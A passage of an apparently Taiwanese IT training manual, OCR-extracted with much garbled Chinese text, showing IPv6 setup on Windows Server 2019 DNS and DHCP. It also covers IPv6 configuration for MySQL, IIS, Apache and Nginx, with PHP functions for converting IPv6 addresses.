S " ookup £ones The Domain Name System (DNS) allows a DNS namespace to be divided into zones. Each zone stores information about one or more contiguous
| Trust Points Z

DNS domains.
_| Conditional Forwarders

To add a new zone, on the Action menu, click New Zone.

New Zone Wizard X

Zone File &*

You can create a new zone file or use a file copied from another DNS server.

Do you want to create a new zone file or use an existing file that you have copied
from another DNS server?

(®) Create a new file with this file name:

server.tw.dns

(O Use this existing file:

To use this existing file, ensure that it has been copied to the folder
%SystemRoot%\system32\dns on this server, and then dick Next.

<sedk e

%7€ DNS Forward Lookup Zones

10:55 AM
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File Action View Help

e 2@ c|HE § ES
£ DNS i
v il N1 [ | Add a New Zone
| Forward Lockup Zones -
R Lookup Z
= everse‘ QORI L0, The Domain Name System (DNS) allows a DNS namespace to be divided into zones. Each zone stores information about one or more contiguous
- Trust Points DNS domains

| Conditional Forwarders
To add a new zone, on the Action menu, click New Zone.

New Zone Wizard X
-
Dynamic Update ;
You can spedify that this DNS zone accepts secure, nonsecure, or no dynamic
updates. 52

Dynamic updates enable DNS dient computers to register and dynamically update their
resource records with a DNS server whenever changes occur.

Select the type of dynamic updates you want to allow:

Allow only secure dynamic updates (re
This option is available only for Active

(O Allow both nonsecure and secure dynamic updates
Dynamic updates of resource records are accepted from any dient.
4 This option is a significant security vulnerability because updates can be
“24 accepted from untrusted sources.

(® Do not allow dynamic updates
Dynamic updates of resource records are not accepted by this zone. You must update
these records manually.

10:56 AM
5/ 019
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File Action View Help

= | dlEmIEER®

&, DNs -
v 3 Nst ‘0\ Add a New Zone
| Forward Lookup Zones =
R Lookup Z i 2 i E 3 3
= iy X ookup £ones The Domain Name System (DNS) allows a DNS namespace to be divided into zones. Each zone stores information about one or more contiguous
1 Trust Points DNS domains.

_| Conditional Forwarders
To add a new zone, on the Action menu, click New Zone.

New Zone Wizard X
Completing the New Zone Wizard
You have successfully completed the New Zone Wizard. You
spedified the following settings:
2

Name:  server.tw
Type:  Standard Primary

Lookup type: Forward

File name: server.tw.dns

Note: You should now add records to the zone or ensure
that records are updated dynamically. You can then verify
name resolution using nslookup.

To dose this wizard and create the new zone, diick Finish.

< Back Cancel
S Forward Lookup Zones

o &
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File Action View Help
e @ XE0c=z Hm §E

& ons Name Type Data
Y ia [ (same a5 parent folder) Start of Authority (SOA) (11, ns1, hostmaster,
v Fun:::i}zik"p Zones || E](same as parent folder) Narne Server (NS) et
| E:;,ver, Update Server Data File
| Trust | Reload
1 Condi’ New Host (A or AAAA)...

New Alias (CNAME)... Ib

MNew Mail Exchanger (MX)...

New Domain...

New Delegation...

Other New Records...

DNSSEC >

All Tasks >
View >

Delete
Refresh
Export List...

Properties

Help

Create a new host resource record.
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F DNS 2 #8278 » EH B4 » 2o Az RBAPE2 - B nslen
+ “Péié T»ﬁ'*nsl.server.tw ¥R IPV6 (= hb 3~ o

3

File Aetion View Help
o A@XEE= HE i BE
2o =

Mame Type Data
v | na [lizame as parent foider) Start of Authority (SOA) 1] ns1, hostmaster.
¥ F‘.,m‘rd Lockup Zanes rl sarme as parent folder) Name Server (N5) nsl.
L servertw
| Reverse Lookup Zores
1 Trust Points
Conditional Fonaarders [ Mew Host b

MName (Lses parent dosan nams of blank):
| ms1

Fully qualfied doman name (FQON):
nelserver. by,

1P address:
| 2001:11:22:1::100

[ Create assodated poiter (FTR) record

Mdd Host Cancel

& i

] 84 Windows 2019 % =_DNS reverse lookup zone
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BB B A aE > — B nsl ehF e o T www.server.tw ¥ 5 IPv6

File Action View Help
e | 7@EXOc=HEI 8

£ DNs Name Type Data
v @ NSt [El (same as parent folder) Start of Authority (SOA)  [1], ns1,, hostmaster.
v I Forward Lookup Zones ﬂ (same as parent folder) Name Server (NS) nsl.
5 servertw Mo 1Pv6 Host (AAAA) 2001:0011:0022:0001:0000:,.

~| Reverse Lookup Zones
~ Trust Points
_| Conditional Forwarders

New Host X

Name (uses parent domain name if blank):

[ wWww I

Fully qualified domain name (FQDN):
[www.smer.tw. |

1P address:
| 2001:11:22:1::100] |

Create assodated pointer (PTR) record

Add Host Done
|

2% 7 DNS Forward Lookup Zones

] 85 Windows 2019 35 % IPV6 i 4t
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WWW =77 IPV6 i+ 3t © 1%52@5 #r ¥ 4H3 nslservertwgﬁ GRS B
¥R TIPVE 4 > B gﬁx%?;ﬁﬁjﬂwwwserverwvf%w
LR D IPV6 ak

*

&, DNS Manager - x
File Action View Help
e | aE Bz HBE§EE
2 D_NS Name Type Data
v B NS1F S Lookun 7. E_l(sameasparentfoldeﬂ Start of Authority (SOA) [1], ns1., hostmaster.
v orwer :‘: up cones ﬂ(same as parent folder) MName Server (NS) nsl.
. ;-E;:L"Mkup Jomes Elnst IPv6 Host (AAAA) 2001:0011:0022:0001:0000:0000:0000:0100
< 1.00.02.2.0.0.1.1.00. [:_lwww IPvE Host (AAAA) 2001:0011:0022:0001:0000:0000:0000:0100
| Trust Points
Conditional Forwarders
%7€ DNS Forward Lookup Zones
< >
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£, DNS Manager = X
File Action View Help
e | nmcEBm §E
£ DNS B
v i NS \0\ Add a New Zone
v [ Forward Lookup Zones .
| servertw . e - . . .
Reverse Lonbiin Zanar The Domain Name System (DNS) allows a DNS namespace to be divided into zones. Each zone stores information about one or more contiguous
= ains.
| Trust Poir New Zone...
| Conditior s h aew zone, on the Action menu, click New Zone.
View >
Refresh
Help

Create a new zone,

@

File Action View Help
ol AN Hm
£ DNs
v 3 Nsi
w [ ] Forward Lookup Zones
= servertw
| Reverse Lookup Zones
| Trust Points
| Conditional Forwarders

K3
B 87 Windows 2019

NS Reverse Lookup Zones

2k Z_DNS reverse lookup zone

The Domain Name System (DNS) allows a DNS namespace to be divided into zones. Each zone stores information about one or more contiguous
DNS domains.

To add a new zone, on the Action menu, click New Zone.

New Zone Wizard X

Welcome to the New Zone
Wizard

This wizard helps you create a new zone for your DNS
server.

N\

A zone translates DNS names to related data, such as IP
addresses or network services.

To continue, diick Next.

B 88 Windows 2019 % %_DNS reverse lookup zone g% #
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File Action View Help

e nFE cBmE i 8

£ DNS B
v i NSt \0\ Add a New Zone
v Forward Lookup Zones -
server.tw 3 o % i < 2
= The Domain Name System (DNS) allows a DNS namespace to be divided into zones. Each zone stores information about one or more contiguous
_ Reverse Lookup Zones DNS domains.
| Trust Points
Conditional Forwarders To add a new zone, on the Action menu, click New Zone.

New Zone Wizard X

Zone Type H

The DNS server supports various types of zones and storage.

Select the type of zone you want to create:

(®) Primary zone
Creates a copy of a zone that can be updated directly on this server.

(O Secondary zone
Creates a copy of a zone that exists on another server. This option helps balance
the processing load of primary servers and provides fault tolerance.

(O stub zone
Creates a copy of a zone containing only Name Server (NS), Start of Authority
(SOA), and possibly glue Host (A) records. A server containing a stub zone is not
authoritative for that zone.

s a writeable domain

<Back Cancel
2% 7€ DNS Reverse Lookup Zones

10:58 AM
5/10/2019
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@

File Action View Help

o | 2nF G HME 8
£ DNS -
v § N1 \0‘ Add a New Zone
v [ | Forward Lookup Zones -
| servertw B — - - . =
= The Domain Name System (DNS) allows 2 DNS namespace to be divided into zones. Each zone stores information about one or more contiguous
_| Reverse Lookup Zones DNS domains.
_| Trust Points
_| Conditional Forwarders To add a new zone, on the Action menu, click New Zone.

New Zone Wizard X
Reverse Lookup Zone Name *

A reverse lookup zone translates IP addresses into DNS names.

Choose whether you want to create a reverse lookup zone for IPv4 addresses or IPvé
addresses.

(O 1Pv4Reverse Lookup Zone

(® IPv6 Reverse Lookup Zone

<Back Cancel
Reverse Lookup Zones

58 AM

0/2019
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File Action View Help

e |pmclHm § EE

£ DNs )
v § Nst ‘o‘ Add a New Zone
~v [ | Forward Lookup Zones -
erver.tw g 4 .
= server The Domain Name System (DNS) allows a DNS namespace to be divided into zones. Each zone stores information about one or more contiguous
_| Reverse Lookup Zones DNS domains
| Trust Points
| Conditional Forwarders To add a new zone, on the Action menu, click New Zone.
New Zone Wizard X

Reverse Lookup Zone Name
A reverse lookup zone translates IP addresses into DNS names.

To name the reverse lookup zone, enter an IPvé address prefix to auto generate the
zone name(s). Depending on the prefix you enter, up to 8 zones may be created.

IPv6 Address Prefix:

2001:11:22: 1::/64)

Reverse Lookup Zones

1.0.0.0.2.2.0.0.1.1.0.0.1.0.0.2.ip6.arpa

< Back Cancel
Reverse Lookup Zones

10:59 AM

019 51

Bl 91 Windows 2019 % =_DNS reverse lookup zone ﬁi%] » IPV6 =kt

°

File Action View Help

e 2FcHEmEI §ER

= DNS a
v i NS \0} Add a New Zone
v Forward Lookup Zones =
- servertw 3 e 2 i g s
= The Domain Name System (DNS) allows a DNS namespace to be divided into zones. Each zone stores information about one or more contiguous
_| Reverse Lookup Zones DNS domains.
_| Trust Points
_| Conditional Forwarders To add a new zone, on the Action menu, click New Zone.
New Zone Wizard X
Zone File M
You can create a new zone file or use a file copied from another DNS server, i
>

Do you want to create a new zone file or use an existing file that you have copied
from another DNS server?

(®) Create a new file with this file name:

| serveripvé.rev|

(O Use this existing file:

To use this existing file, ensure that it has been copied to the folder
%SystemRoot%\system32\dns on this server, and then dick Next.

T e

%7€ DNS Reverse Lookup Zones

44, - 109



Bl 92 Windows 2019 2= = DNS reverse lookup zone file

File Action View Help

°

9| z2FcHB=EEE
£ DNS -
v i NSt \01 Add a New Zone
v Forward Lookup Zones -
| servertw - x
The Domain Name System (DNS) allows a DNS namespace to be divided into zones. Each zone stores information about one or more contiguous
_| Reverse Lookup Zones DNS domains

_| Trust Points

| Conditional Forwarders To add a new zone, on the Action menu, click New Zone.

New Zone Wizard X

Dynamic Update r‘
You can specify that this DNS zone accepts secure, nonsecure, or no dynamic i ’
updates. >

b

Dynamic updates enable DNS dient computers to register and dynamically update their
resource records with a DNS server whenever changes occur,

Select the type of dynamic updates you want to allow:

Allow only secure dynamic upd:

ecom d for Active Directory)
This option is available only for Active Directory-integrated zones.
O Allow both nonsecure and secure dynamic updates
Dynamic updates of resource records are accepted from any dlient.
This option is a significant security vulnerability because updates can be
£33 accepted from untrusted sources.
(®) Do not allow dynamic updates

Dynamic updates of resource records are not accepted by this zone. You must update
these records manually.

< Back Next Cancel

S Reverse Lookup Zones

8] 93 Windows 2019 DNS reverse lookup zone # i § %fra{

*

File Action View Help

ke AN ig
£ DNS -
vl e ‘0‘ Add a New Zone
v Forward Lookup Zones =
tw
— The Domain Name System (DNS) allows a DNS namespace to be divided into zones. Each zone stores information about one or more contiguous
_| Reverse Lookup Zones DNS donains.

_| Trust Points

| Conditional Forwarders To add a new zone, on the Action menu, click New Zone.

New Zone Wizard
Completing the New Zone Wizard

You have successfully completed the New Zone Wizard. You
specified the following settings:

Z
Name(s): ~
1.0.0.0.2.2.0.0.1.1.0.0.1.0.0. 2.ip6.arpa
Type: Standard Primary
v

Note: You should now add records to the zone or ensure
that records are updated dynamically. You can then verify
name resolution using nslookup.

To dose this wizard and create the new zone, dick Finish.

< Back Finish Cancel
|

B 94 Windows 2019 DNS reverse lookup zone % i3 o
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IPT 7 2, & DNS & " Fihk 4, ( Resource Record, i # RR )
¢ s TPTR, #5u] » # %3 IP (=hh $4p: 5] 2 8 2 TFQDN

( Fully qualified domain name,» ;]A,%uﬂ Domain Name ) - ( #p%t
wooost3) T2 if 245 FQDN $#p: 3] IP sh B & © )

File Action View Help
et @ XEBe:z B8 83

& D_NS Name Type Data
v NS]F 4 Lookun Z. E_I(same as parent folder) Start of Authority (SOA) [1], ns1, hostmaster.
¥ orwerd Lookup £LONES || P (same as parent folder) Narne Server (NS) nst
- servertw
~ || Reverse Lookup Zones
-1 10.0.0.2.2.0.0.1.1.0.0. Browse X
_| Trust Points
| Conditional Forwarders Pointer (PTR) Lookin: e | [P
Host IP Address: Records:
‘zn’m:mn 0022:0001
Name Type Data Timestamp

Fully qualfied domain name (FQDN): % [Pv6Host... 2001:0011:...

‘1 0.0.0.2200.1.1.0.0.1.0.0.2ip6.apa Slwww [Pv6Host... 2001:0011:...

Host name:
Selection: ns1.server,tw
Record types: Hosts (A or AAAA Records) e

Cance
0K Cancel
5% 7E DNS Reverse Lookup Zones
< >

11:00 AM
B g0 B
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File Action View Help

e @ XBoz BmElida
\f- D_N5 Name Type Data
v NS1F S lookun 7. E_I(same as parent folder) Start of Authority (SOA) [1], ns1,, hostraster.
~ orwardLookup fones E—I(same as parent folder) Name Server (NS) nsl.
2l servertw
~ || Reverse Lookup Zones
- 1.0.0.0.2.2.0.0.1.1.0.0." Browse x
| Trust Points -
| Conditional Forwarders Pointer (PTR) Look in: | = | [
Host IP Address: oo =
‘ZI}DH}DH 0022:0001
Name Type Data Timestamp
Fully qualified domain name (FQDN): E—]nsi IPv6 Host... 2001:0011:...
‘1 0.0.0.22.0.0.1.1.00.1.0.02ip6.apa e PvéHost... 200L:001L...
Host name:
Selection: w.server, tw
Record types: Hosts (A or AAAA Records) ~
==
0K Cancel

8] 96 Windows 2019 # 4 DNS reverse lookup zone % _ %

¥, DNS Manager - @ X
File Action View Help
e nE Bz HBm §8d
& DNs Name Type Data
v i NS1F 4 Lookun Z [El(same as parent folder) Start of Authority (SOA) [1], ns1., hostmaster.
h orwar :‘:up ones [E](same as parent folder) Name Server (NS) nsl.
- SETVEL [E12001:0011:0022:0001:0000:0000:0000:0100 Pointer (PTR) nsl.servertw
v [ Reverse Lockup Zones || =, ) 0 11.0022:0001:0000:0000:0000:0100 Pointer (PTR www.servertw
1 1.00022001.1.00: b : H A E : d 3 [k ointer (PTR) \SETVEN
_| Trust Points
| Conditional Forwarders
%7€ DNS Reverse Lookup Zones
< >
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www.server.tw o 4% * dig 35 4 > ¥ 2 * dig aaa www.server.tw
+short

File Action View Help

- EEEN I

2 IIlNS Name Type Data
v & Ns1 E—I(same as parent folder) Start of Authority (SOA) [1], ns1., hostmaster.
v [ Forward Lookup Zones || [ . e as parent folde:) Name Server (NS) ns1
. Reu:sr:i::zt:‘kup Zones Elnst IPvE Host (AAAA) 2001:0011:0022:0001:0000:0000:0000:0100
. Elwww IPvE Host (AAAA) 2001:0011:0022:0001:0000:0000:0000:0100

| 1.0.0.02.2.0.0.1.1.00. 1| *
| Trust Points
Conditional Forwarders
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5:'1' Internet Information Services (IIS) Manager
o
« & » NS1 » Sites » Default Web Site »

File View Help

Connections ‘ . s
- | O Default Web Site Home
Q- |z & |
© Start Page = ~ — -
v €3 NS1 (NST\Administrator) lte - GRS ISR Are -
L} Application Pools IS
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Logging MIME Types  Modules Output Request  SSL Settings
Caching Filtering
Management
Configurat...
Editor
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B3 Administrator. Command Prompt

=R Windows Server
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75\ v & i& 17 DHCP server ¢k %_o DHCP server § # # fife & IP
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5 A
et o

N

% DHCP - X
File Action View Help
e 2@ Ec HE D=
@ DHcP i Actions
v @ nsl w0 Add a Scope IPv6 -
B IPva .
G IPve . 5 More Actions

T '~ ddresses assigned to computers requesting a dynamic IP address. You must create and configure a
Display Statistics... addresses can be assigned.

New Scope... he Action menu, click New Scope.

DI out setting up a DHCP server, see online Help.
Define Vendor Classes...

Set Predefined Options...

View >
Refresh

Properties

Help

5% %€ DHCP Server

Create a new scope

.
8] 101 Windows 2019 % =_DHCP 2t:iE new scope
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File  Action

@ DHCP

v g s
& 1P
3 IPv6

B

File Action View

| 2[m

2 DHcp
v 3 nsl
B IPwa

B IPv6

View Help
&= &5

[ERENN 7 lio(§ =)=

New Scope Wizard
M ccopeis a rangsy
scope before dyng

To add a new scof

For more informa

Welcome to the New Scope
Wizard

This wizard helps you set up a scope for distributing IPv6
addresses to computers on your networ

To continue, click Next

Help

Actions
IPvE -

More Actions

New Scope Wizard
A scopeis a range

2
scope before dyn Scope Name

You have to provide an identifying scope name. You also have the option of providing a
To add a new sco description

For more informa

Type a name and deseription for this scope. This information helps you quickly identify
how the scope is to be used on your network.

Name: [pHEP_IPvE

Description: |

< Back Cancel

DHC

Actions
IPvE -~

More Actions

11:14 AM
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File Action View
e |25 E
%@ DHCP |

Help
a| B &

=)=

v g nsl
B P4
» IPvé

‘0‘ Add a Scope

Ascopeisar
scope before

To add a new

For more info

New Scope Wizard
ange
dyn Scope Prefix

You have to provide a prefix to create the scope. You also have the option of providing a
5CO| preference value for the scope

rma

Enterthe IPv6 Prefix for the addresses that the scope distributes and the
preference value for the scope.

Prefix

2001:11:22:1 /64
Preference [
i |
< Back Next > Cancel

DHCP Server

fe] 104 Windows 2019 3k z_scope prefix
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DHCP client i 16 53 DHCP server % B~ IP — % 8% & (v 2% % eig
Blw /o

v

&
File Action View Help
= 2@EcBE B
@ DHCP B Actions
v i "}1 ‘0‘ Add a Scope IPvE
B IPvd o
3, IPv6 ‘ New Scope Wizard More Actions
A scopeis arange

scope before dyn

2
Add Exclusions
Exclusions are addresses or a range of addresses that are not distrbuted by the server.
To add a new sco|

For more informa

Type the IPvE address range that you want to exclude for the given scope. f you want
to exclude a single address. type an identifier in Start IPv6 Address only.

Start |Pv6 Address: 2001:11:22:1
End IPv6 Address 2001:11:221

Excluded address range:

[

< Back Nest > Cancel
1

5% 5E DHCP Server

11:15 AM
B 500 B
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File Action View
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@ DHcp
v nsl

B P

B IPve
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A scopeis a range
scope before dyn.

To add a new sco scope

For more informa

New Scope Wizard

Scope Lease
The lease duration specifies how long a client can use an IPv6 address obtained from this

Lease durations should typically be equal to the average time the computeris
connected to the same physical network

Non Temporary Address{IANA)
Prefemed Life Time

Days: Hours Minutes:
] 51 D:J 0

Valid Life Time

Days Hours Minutes

< Back Cancel

Actions
IPvG

More Actions

File Action View

|2 E

@ DHcP

Help

B] 106 Windows 2019 3% z_scope lease

A ? Moy =

11:15AM
5/10/21

v F nst
B IPv4
B IPv6

‘0\ Add a Scope

A scope is a rangg
scope before dyng

To add a new scoj

For more informaf

New Scope Wizard

Completing the New Scope
Wizard

You have successfully completed the New Scope wizard
The scope summary is as follows
Prefix: 2001:11:22:1: /64

Non-Temporary Address Lease
Valid Lifetime 12 Days 0 Hours 0 Minutes
Prefered Lifetime: 8 Days 0 Hours 0 Minutes

Activate Scope Now

@ Hesi
 No

To close this wizard, click Finish

< Back

=
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File Action View Help

e a0 ol HE &
& DHCP Actions
v E rlﬂ Server Options -
B 1P
v @ IPvE Mare Actions 4
< 5 Server Options ? % Ean assign to DHCP clients.For example, some
— cope ), WINS servers, and DNS servers.
i BEEy General  Ad d
vanes server options by defining the option in Scope
Avaiable Options Description A~
[ 00021 SIP Server Domain Name List Domain Nar
100022 SIP Servers IPv6 Address List IPv6 addres
00023 DNS Recursive Name Server |Pv6 Address ... [Pv6 Addres
[ 00024 Domain Search List Domain sea v
< >
Data entry
New IPv6 address:
\' e |
Current IPv6 address:
Remove
0K Cancel Apply
L
DHCP Server
< >
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I ¥ 4heiwBye DHCPserver £.F 5 & ¥ @ (vvi? X & 8 #

T e P B2 507 —«ew%]» R
o H i@ * DHCP ¢ ;%\ 52 DHCP server £ 3] IP =1t » ¥
$]IP =xk » ® gateway 2 DNS#RE F » £ %k £p] 5
Wi 0 & or DHCP server fie & = 74 o

File Action View Help

| 2@ XE &= HE &

@ DHCP Option Name Vendor Value Class Actions
~ 4 rlﬂ‘p n 3 00023 DNS Recursive Nam... Standard 2001:11:22:1::100 Nene Server Options -
B P
v B IPv6 Mere Actions
| Scope 00023 DNS Recursive Name... &
3 Server
More Actions 14

B8 Administrator: Command Prompt

General  Advanced

Available Options EERIERIE thernet adapter
100021 SIP Server Domain Name List
[ 00022 SIP Servers IPv6 Address List
00023 DNS Recursive Name Server IPv6 Address EEAEL - = = s oc
[ 00024 Domain Search List i oo
<

Data entry 6 Address. . . . . .

New IPv6 address:

Current IPv6 address Tsocozoc o= oc

Remove

0K Cancel
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MySQL % i & F#LE - & F 2 MySQL
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% = & MySQLS5 £c* IPV6

3 IPV6 e & & F & 5 varchar (39) 4% #_£ 73 varbinary |
% varbinary (16)

br% % & 45 %_IPv6 address > ¥ 2 & my.cnf p 3% %

bind_address=<ipv6 i+ x->

%ﬁ’wj :

[mysqld]
bind address=*

drk LR At Ipve iR AL > F YRk L bind_address =11
W F 214 0 fE_console i i MySQL pF » 2 & LiE = — B ipv6 itk
5

1 dg 4 F & 38~ MySQL console 4 ¥ w3 f3

mysql> create user ‘ipvbuser’@*::1’ identified by ‘ipv6pass’;

mysql> create user ‘remoteipvéouser’@,2001:db8:0:f101::2” identified by
‘remoteipvopass’;

Z_ t$ j¥_console i & MySQL

1 4 4 &% bash shell T 34 {5
mysql -h ::1 -u ipv6user -p
mysqgl -h 2001:db8:0:f101::1 -u remoteipv6user -p

whB AR ET ]',["Fj—;_l,’[;

4 4 % & i~ ] MySQL console 4 144 {7
mysql> select current_user () , @@bind_address;
mysql> status;
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% = % Microsoft I1S/Apache2/Nginx 4 F & IR Efc* IPv6

R O N A

PP PRET LA oA AT R véPRz%rﬂiﬁ%ﬁ v B
sl X RGO R T PIRE L F A S Web Server o —“rgﬁ Y
[1IS§2 Apache @ & 5 4 » & % 7:{ oM EEE T AE
NQinX 7% »Tac (R v % = 3F 5 < i & chie sk ey i o 13 Apache 4p v
#o Nginx B B ched@id & > (E2F 5 Bls 4 B 2cy Apache =o#
Nginx o

g, - 126



% = & Microsoft 1S £z * IPv6

IS P 2= % % IPV6 > #7124 & Windows Server i 1 = IPV6 ¥4 %_
AL 0 P RBEFIRET & & IPV6 IR T o

B Ex Windows Server - #% Server Manager sn3 o 5 » 2 %
Internet Information Services (11S) Manager % 78 :& {7 |IS 593k 2_-

fu Server Manager - g X

Server Manager * Dashboard

Component Services

Computer Management

== WELCOME TO SERVER MANAGER
I3 Dashboard Defragment and Cptimize Drives

i Local Server DHCP
s All Servers ) Disk Cleanup

7 Configure this local server BAs

1% DHCP 3

Event Viewer

& DNs QUICK START =

S . i g Internet Services (IS) Manag
BR File and Storage Services > 3 iSCSI Initiator \
fo s A e A Local Security Policy

Microsoft Azure Services
0OD08C Data Sources (32-bat)
0D8C Data Sources (64-bat)

= _onnect tr L er Performance Monstor

Print Management
LEARN MORE RIS Server EFTEIE Resource Monitor

Services

WHAT'S NEW

System Configurat
ROLES AND SERVER GROUPS ity sy
Roles: 4 STVEr QIOUD Servers tot System Information

Task Scheduler

ﬁ DHCP 1 £ DNs Windows Firewall with Advanced Secunty
Windows Memory Diagnostic

@ Manageability @ Manageability Windows PowerShell

Windows PowerShell (x86)

Events Events
Windows PowerShell ISE
Services Services
- : Windows PowerShell ISE (x86)
Performance Performance Windows Server Backup
BPA results BPA results

B 110 ¥ £z Microsoft IIS
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WY Internet Information Services (I15) Manager

= =] E
- @ » MEl » Sites » Defauk WebSite » k& (7
File View Help
Connections. . Actions
Q- L2 @ 0 Default Web Site Home
L ke 3 !
Wy Stant Page =
- . Filter: - Go = \gh Show ANl | Group by:  Area - S
w g I\!‘Sl (MS T Admanastrator) Edit Site
L} Application Pool 5 -
w -l Sites L o % | = | L =
& Default Web Site !;3;} _Eil & - 24 bt =
Authentic.. Compression  Default Directory  ErrorPages  Handler HTTR
Document  Browsing Mappings  Respon... . .
E - | = @
i ‘]‘\- \_=5 J‘L _J o= % Manage Website A
Logging  MIME Types  Modules Cutput Reguest 551 Sektings » :
Caching Filtering
N ]
Management -
- Browse Websit
- I
Configurat... "}
Editer
Configure
L2
GHEL ns ‘EE AN RS Browse TN
[E Features View |2 Content View

iz ~ Information Services (11S) Manager %k = & o & > 4%
Browse Website i 58 B 4 8 & 2 3 c0ds 1F o

B 111 :% % browse i& (7 % 3%
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R RS R éi%l » 3p % nslookup - 4= Address
F M IPV6 chiznt > T A om et IPV6 A 0 4ok B f IR IPV4 i
B TR A IPV6 BTt 4 P oo oSk fxt £ Pz oo ;fg—'a‘%fr REXRTH A
Siad 5 j’!‘i%‘riﬁ (s iﬁ'ﬂ}%ﬁ éiy./ &% et |Pv6 > )F B3 E;ﬁ)ﬁ,’i'ﬁﬁ °

0 & http w.serverbm 2= G 3 Windows Server

2@ Windows Server

Internet Information Services

Welcome Bienvenue  Tervetuloa

£5c# Benvenuto B0

L2 .I. Bienvenido Hos geldiniz

Bem-vindo 1 1
Kothwg
Vitete  OploaTE

~ Willkamme [
Micrasoft Willkommen [Welkammen —

SR HFEBUIRNL » dEE 48 nslookup B8

B 112 12 nslookup % 7%
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% = & Apache2 % # IPv6

Apache &_Linux % svt & B L% K22k Web & PR B en2¢ =L it
%% > Apache 2.0 5= & B 4~ 4 ¥ IPv6 » 3% T_Apache pF i & 1 7 83k ¥_
- & 2 & Web Server e 58 » - Apache FR4% £ 4 £ v address &2
port % & » ¥ fx* Apache 57 IPV6 # it o

% %= Apache & > FE3K € T F SRR /1 G $& & 80 port cad
A &r‘? 7R A T OIPV6 mht i o 3R R PRGE 0 F E K- IPV6
ur_;h_mTCP 80 % =_¥% Apache Server i * o X T_e FrAeT o EN2
FTK T4 httpd.conf » I B FEFH AT 2K T bldede » TR
%_» Listen [2001::b000: XXXX:XXXX:XXXX:XXXX]:80 °

Listen 80

Listen 443

Listen [2001::0000:XXXX:XXXX:XXXX:XXXX]:80
Listen [::]:443

# 00T 2% g - 4~ A httpd.conf poo
<VirtualHost *:80 [::]:80>

</VirtualHost>

1 &_httpd virtual hosting 7% T &

#0217 § 2% 7~ @ IPv4 0 VirtualHost » =1t 5 1.2.3.4
<VirtualHost 1.2.3.4>

</VirtualHost>

#0217 §2k 7~ @ IPv6 0 VirtualHost » =% % 2607:f:1:11::4
<VirtualHost [2607:f:1:11::4]>

</VirtualHost>

#r0™ E_e3Fery oport 80 (1 IPv4 R IPV6 1 A

<VirtualHost *:80>

</VirtualHost>

# 2T B2k 2 IPV6 = xt 2001:288:2:2::1 + FF < Port 80
<VirtualHost [2001:288:2:2::1]:80>

</VirtualHost>

<VirtualHost 163.1.2.3:80>
</VirtualHost>
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<VirtualHost 163.1.2.3:80 [2001:1:2:2::1]:80>
</VirtualHost>
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% = & Nginx i # IPv6

Nginx f£_0.7.36 e75% & {8 B 4o £ 3 IPV6 > 4o % & B2 IR (7 e
nginx »< & A_F © S fx* ipv6 > 7 M3 7 nginx -V endg £ 0 delg kg
B " --with-ipv6 | T & or 5 2 4% IPV6 o

N iTdp 4
nginx -V

5] RS
nginx version: nginx/0.8.46
built by gcc 4.1.2 20080704 ( Red Hat 4.1.2-48)
TLS SNI support disabled
configure arguments: --without-http_autoindex_module --without-
http_userid_module --without-http_auth_basic_module --without-
http_geo_module --without-http_fastcgi_module --without-
http_empty_gif _module --with-poll_module --with-
http_stub_status_module --with-http_ssl_module --with-ipv6

bo g I T-with-ipve | BI G & £ AT it A D B E AT
% Ngink > F & et S i) BV LR T4 L o

N

1 P

Jconfigure --user=www --group=www --prefix=/usr/local/nginx --with-
http_stub_status_module --with-http_ssl_module --with-ipv6

FERLG * 4% IPV6 12 i 7 Nginx Server enfie B > H 2k %44 5
2
2

P oo

4o 3 4o Listen ¥t 443 port & fx* IPV6 rfRG% o X TH Fde
T o AR R T nginx.conf i p §F 0B e AT R 2 R 0 Bt
> 12w 2k Zo listen [i:]: 443 ssl http2 o 4o & % & 4444 4F 20 IPV6 ikt
A& H B PRAR > PR T BT 0 A B R T4 nginx.conf ¥ g {7
R AT E 20K T Bildode » 10Tk %o listen
[2607:F0d0:XXXXXXXX:XXXX:XXXX]:80 °

Server {

listen 80 default_server;
listen [2607:F0d0:XXXX:XXXX:XXXX:XXXX]:80;
listen 443 ssl http2;
listen [::]:443 ssl http2;

}
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AR >

% = 3 PHP/C#/Python/JavalJavascript 43¢ £ 3 IPv6
5 - & KE P

FIANET T L REF R P B F it PHP
Python §3 CH#Z 4 o 2 * 4 acsk (bldoifd ~ TR ~ ik ~ B+
ALF ) B2 Javascript 3 A o

FNFT VU kR LT f o 22 IPVA/IPVE § RE iR A B
FAAK B LR d AT L PV B e e T AR L E
IPV6 & & & e (7§ K- 7 i 2 &1 Domain Name B~ % [P i= 4t 1Y
P{F M > e PR $30 IPVA 2 IPV6 357 00 R R N g o
B AP kAR LR T S kel (T A G 4 L B
£ 3% 128 =7 IPV6 ikt efs 3N s ,T};,'v" R sk b IPVBIRE T 4
BT o
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% = & PHP £ # IPv6

PHP P K3 B 424k kS0 8cf R IPV6 ak cndd dk > F]pt o
PHP & @ 3% 3|7 & 83 17 ehdp 4 32 17 IPV6 i2ak £ 3 & long en e
FA L el > S
https://www.php.net/manual/zh/function.ip2long.php#94477 » I *t 3% {7
L& % php-gmp fioe > & ERE R 5T
https://www.php.net/manual/en/gmp.installation.php -

Il #-long F 4L 2] i #& 3% 5 IPV6 =nt
function long2ip6(Sipv6long) {

$bin = gmp_strval(gmp_init($ipv6long,10),2);
if (strlen($bin) < 128) {
$pad = 128 - strlen($hin);
for ($i = 1; $i <= $pad; Si++) {
$bin = "0".$bin;
}
}
$bits = 0;
while ($bits <=7) {
$bin_part = substr($bin,($bits*16),16);
$ipv6 .= dechex(bindec($bin_part)).":";
$bits++;
}

/I compress

return inet_ntop(inet_pton(substr($ipv6,0,-1)));
¥

Il #-1Pv6 =4t &3 5 long 742 3] Ak
function ip2long6($ipve) {
$ip_n = inet_pton($ipv6);
$bits = 15; // 16 x 8 bit = 128bit
while ($bits >=0) {
$bin = sprintf("%08b",(ord($ip_n[$bits])));
$ipv6long = $bin.$ipv6long;
$bits--;
}
return gmp_strval(gmp_init($ipv6long,2),10);
}
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https://www.php.net/manual/en/gmp.installation.php

& 3w e d  (Classless Inter-Domain Routlng CIDR) #_
- BELE P LR Py R AR G ok i IP3f 8
¥ IP iyl B FRFAR D 2 0 Y PHP P 2 ik i %’%F 12 |Pv6
CIDR than#ic > w2 & 35 T ot (73 4% o filter var &8k &%
% IP P “f 7 * FILTER VALIDATE IPz2_¢F > 5 ¥ rugé*
FILTER FLAG_IPV4 %2 IPv4 &8 * FILTER _FLAG IPV6 k%%
IPV6 > %% 75 IPV6 i =& & 7 & 5 varchar (39) » 4% £ & %
varbinary B] % varbinary (16) -

